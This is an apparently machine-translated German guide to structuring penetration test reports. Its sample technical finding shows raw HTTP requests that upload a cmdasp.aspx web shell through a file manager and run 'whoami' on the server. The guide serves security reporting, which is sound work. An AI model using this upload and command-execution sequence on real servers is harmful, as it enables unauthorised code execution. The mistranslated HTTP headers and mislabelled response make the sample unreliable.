Als erfahrener Pentester weiß er, dass ein gut geschriebener Bericht darauf zurücksticht, dass der Kunde nach seiner Präsentation keine zusätzlichen Fragen hat. Um dies zu ermöglichen, sollte es mindestens vier grundlegende Abschnitte mit Informationen für verschiedene Zielgruppen enthalten.
Abschnitt 1: Allgemeine Informationen und Statistiken
Während ein Entwickler, der Fehler beheben soll, alle technischen Details benötigen kann, versteht das Management möglicherweise nicht die verwendete Technologie und das spezielle Vokabular. Stattdessen müssen sie die geschäftlichen Risiken verstehen. Es ist unerlässlich, dass Führungskräfte verstehen, worum es geht, um fundierte Entscheidungen für ihre Unternehmen zu treffen. Die Zusammenfassung der im gesamten Bericht enthaltenen Informationen ist notwendig, um ein korrektes Verständnis der bestehenden Risiken zu gewährleisten. Darüber hinaus sollten im ersten Abschnitt förmliche Informationen enthalten sein, d. h. Informationen darüber, was getestet wurde und mit welchen Befugnissen, wann es getestet wurde, wer an den Tests teilgenommen hat, auf wessen Auftrag die Tests durchgeführt wurden. Die folgende Abbildung zeigt beispielhafte Tabellen mit diesen Informationen.
Getestete App | SXXX dXXX http://XXXXX |
Getestete Rollen | Administrator, Benutzer |
Testdatum | 30.10.2017 – 13.12.2017 |
Ort der Tests | Wrocław (aus der Ferne) |
Auftraggeber | MarcinXXXX |
Tester und Autor des Berichts | Michael Kędzior |
Dokumentversion | 1.0 (15.12.2017) |
Die visuelle Kommunikation kann auch bei der klaren Übertragung erkannter Sicherheitsfehler hilfreich sein. Verwenden Sie alle Arten von Diagrammen und ähnlichen grafischen Elementen, um Massendaten zu visualisieren.
Bei der Risikobewertung ist folgende Formel zu beachten:
Risiken = Gefahr * Wahrscheinlichkeit eines Auftretens * Auswirkungen auf das Unternehmen.
Wo unter Bedrohung das allgemeine Risiko einer bestimmten Anfälligkeit verstanden wird. Die Wahrscheinlichkeit des Auftretens bedeutet, wie schwer es ist, einen bestimmten Sicherheitsfehler auszunutzen. Die Auswirkungen auf das Unternehmen bestimmen, welche Verluste mit der Nutzung eines fehlerhaften Angreifers verbunden sind. Die folgende Grafik zeigt eine Tabelle, die für die Risikobewertung von Verwundbarkeitsdaten nützlich ist. Zum Beispiel, wenn die Bedrohung hoch ist – High, und die Verwundbarkeit ist sehr einfach zu nutzen (Vulnerability) – C und die Auswirkungen auf das Geschäft (Impact) ist mittel – Medium, erhalten wir insgesamt 24 Punkte, was bedeutet, dass eine bestimmte Anfälligkeit ein mittleres Risiko hat. Eine weitere Abbildung zeigt, wie die Menge der erkannten Schwachstellen visualisiert wird.
Auf der Grundlage einer Risikobewertung sollte der Empfänger des Berichts zunächst die höchsten kritischen Fehler beheben. Sie stellen die größte Bedrohung für das Geschäft dar und können hohe finanzielle Verluste mit sich bringen.
Abschnitt 2: Beschreibung der festgestellten Schwachstellen
In den meisten Penetrationstestberichten wird eine Art Risikobewertungssystem verwendet, aber selten wird Zeit darauf verwendet, zu erklären, was das Risiko einer bestimmten Anfälligkeit ist. Der Kunde muss schnell und treffend entscheiden, welche Schritte er unternehmen muss, nachdem er Informationen über bestehende Sicherheitsfehler erhalten hat. Dies erfordert oft einen zusätzlichen Haushalt, der von nicht-technischen Personen in leitenden Positionen genehmigt werden muss.
Um schwierige Entscheidungen zu erleichtern, sollten festgestellte Schwachstellen so beschrieben werden, dass die Auswirkungen auf das Unternehmen nachgewiesen werden. Wenn z. B. eine kritische Sicherheitsanfälligkeit entdeckt wird, die es ermöglicht, Dateien auf ein Gesundheitsportal hochzuladen, gibt es zwei Möglichkeiten, sie zu melden:
- Technisch korrekt – Die X-Webanwendung schränkt die Dateiübertragung nicht nach Typ ein, wodurch eine Sicherheitsanfälligkeit geschaffen wird, die es einem Angreifer ermöglicht, Code aus der Ferne auszuführen und seine Privilegien in der App zu erhöhen.
- Sowohl genau als auch kontextbezogen – Die X-Webanwendung schränkt die Dateiübertragung nicht nach Dateityp ein, was eine Sicherheitsanfälligkeit schafft, die es einem Angreifer ermöglicht, unerwünschten Code aus der Ferne auszuführen und das Niveau seiner In-App-Privilegien zu erhöhen. In diesem Fall kann ein Angreifer die Krankenakten jedes Benutzers anzeigen und als Administrator in der App fungieren.
Der zweite Weg hat mehr Gewicht und weist nicht nur auf technische Aspekte hin, sondern auch auf die Auswirkungen auf das Geschäft. Die wertvollsten Berichte sind diejenigen, die alle Zielgruppen in einer Sprache ansprechen, die Menschen vor allem in Führungspositionen verstehen.
Abschnitt 3: Reparaturempfehlungen
Eines der wichtigsten Dinge, die einem Kunden am Herzen liegen, der Penetrationstests durchführt, ist die spätere Behebung der festgestellten Sicherheitslücken. Um dies zu ermöglichen, wird erwartet, dass der Penetrationstesteter nicht nur die festgestellten Anfälligkeiten beschreibt, sondern auch angibt, wie die mit den festgestellten Fehlern verbundenen Risiken behoben oder mitgegeben werden können. Dieser Abschnitt richtet sich hauptsächlich an Technisch geschulte Personen, die sich direkt mit Anwendungscode, Serverkonfiguration oder Datenbank befassen. Es ist hilfreich, zusätzliche Links zu externen Quellen hinzuzufügen, die beschreiben, wie gefundene Sicherheitsfehler behoben werden können. Die folgende Abbildung zeigt einen Fehler bei der Anzeige sensibler Details. Diese Daten enthalten häufig technische Informationen, Klassen, Methoden, die einen Fehler ausgelöst haben, die genaue Serverversion oder Systempfade von Anwendungen und Konfigurationsdateien.
Im Folgenden finden Sie eine Beispielempfehlung zu einem Fehler, bei dem detaillierte Fehlerinformationen angezeigt werden.
Abschnitt 4: Technische Verwundbarkeitsdetails
Der letzte Abschnitt sollte technische Einzelheiten der festgestellten Schwachstellen enthalten. Es ist besonders nützlich für Entwickler zu verstehen, was ein Fehler ist und wie die Schritte zu rekonstruieren, die erforderlich sind, um es zu machen. Dies ist besonders nützlich, wenn die Problemursache festgestellt und später überprüft werden muss, ob die Reparatur wirksam ist.
Im Folgenden finden Sie ein Beispiel für eine detaillierte technische Beschreibung der Anfälligkeit, dateien auf den Server hochladen zu können.
Auf dem Server unter Server/Content/Roxy_Fileman/ befindet sich ein Dateibrowser, der es angemeldeten Benutzern mit den entsprechenden Berechtigungen (ein getestetes Administratorkonto) ermöglicht, sie auch hochzuführen (einschließlich Skripts, die Befehle auf dem System ausführen):
Anforderung, die auf einen Skriptserver hochgeladen wird, der Befehle auf dem System ausführt:
POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX
Benutzer-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Akzeptiert: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://XXXXX/Content/Roxy_Fileman/
Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2
Verbindung: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=---------------------------13949612691104534433104770617
Content-Length: 1861
-----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="action"
upload -----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="d"
-----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="files[]"; filename="cmdasp.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
Serverantwort mit erfolgreicher Skriptaufnahme:
POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX
Benutzer-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
HTTP/1.1 200 OK
Cache-Control:
privater Inhaltstyp: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNetMvc-Version: 5.1
X-AspNet-Version: 4.0.30319
Set-Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; expires=Fri, 09-Nov-2018 16:53:07 GMT; path=/; HttpOnly
X-Powered-By: ASP.NET
Datum: Thu, 09 Nov 2017 16:53:07 GMT
Verbindung: close
Content-Length: 60
Sie können auf eine hochgeladene Ressource ohne Autorisierung unter Server/media/uploaded/Dateiname verweisen
Anforderung an einen Server mit einem Befehl zur Ausführung – whoami, der den aktuellen Systembenutzer anzeigt:
POST /media/uploaded/cmdasp.aspx HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Akzeptieren: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://XXXXX/media/uploaded/cmdasp.aspx
Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69;
XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 290
[...]
EVENTVALIDATION=%2FwEdAANRWJmrTmf23QBZNDbQYsx5itssAmaVIY7AayhB9duwcnk2J
DuMxrvKtMBUSvskgfELwW mgNGW8Lr4a8NezI%2FkHrIsB
%2FLodYxPpo9ud%2FbHu4w%3D%3D&txtArg=whoami&testing=excute
Serverantwort, die die Ausführung des Befehls bestätigt:
Der Mechanismus zum Hochladen von Dateien wurde unter folgenden Adressen identifiziert:
- /Admin/Invoice/InvoiceEdit
- /Admin/Invoice/InvoiceItemList
- /Admin/Newsletter/GroupSubscriptionsList
- /Admin/Newsletter/SubscriptionList
- /Content/Roxy_Fileman/index.html
Sicherheitsfehler werden niemals vollständig beseitigt werden können. Sie erscheinen sowohl in Microsoft-Produkten, obwohl sie den Security Development Lifecycle-Prozess implementieren (zu dem verschiedene Arten von Sicherheitstests und Quellcodeaudits gehören) als auch im Linux-Kern.Sie finden sich sowohl in Projekten mit offenen Quellen als auch in Projekten, in denen der Code geschlossen ist. Ein wichtiger Hinweis darauf ist, dass das Versäumnis, Schwachstellen bei Penetrationstests zu erkennen, nicht eindeutig ist, dass sie sich nicht dort befinden. Das bedeutet nur, dass Pentester sie in begrenzter Zeit und mit bestimmten Mitteln, Kenntnissen und Erfahrungen nicht gefunden hat. Nichtsdestotrotz können Schlussfolgerungen über die Qualität der Anwendungen oder, was noch wichtiger ist, wenn Fehler festgestellt werden, Schlussfolgerungen über die Qualität der Anwendung gezogen werden, um herauszufinden, welche Risiken damit verbunden sind.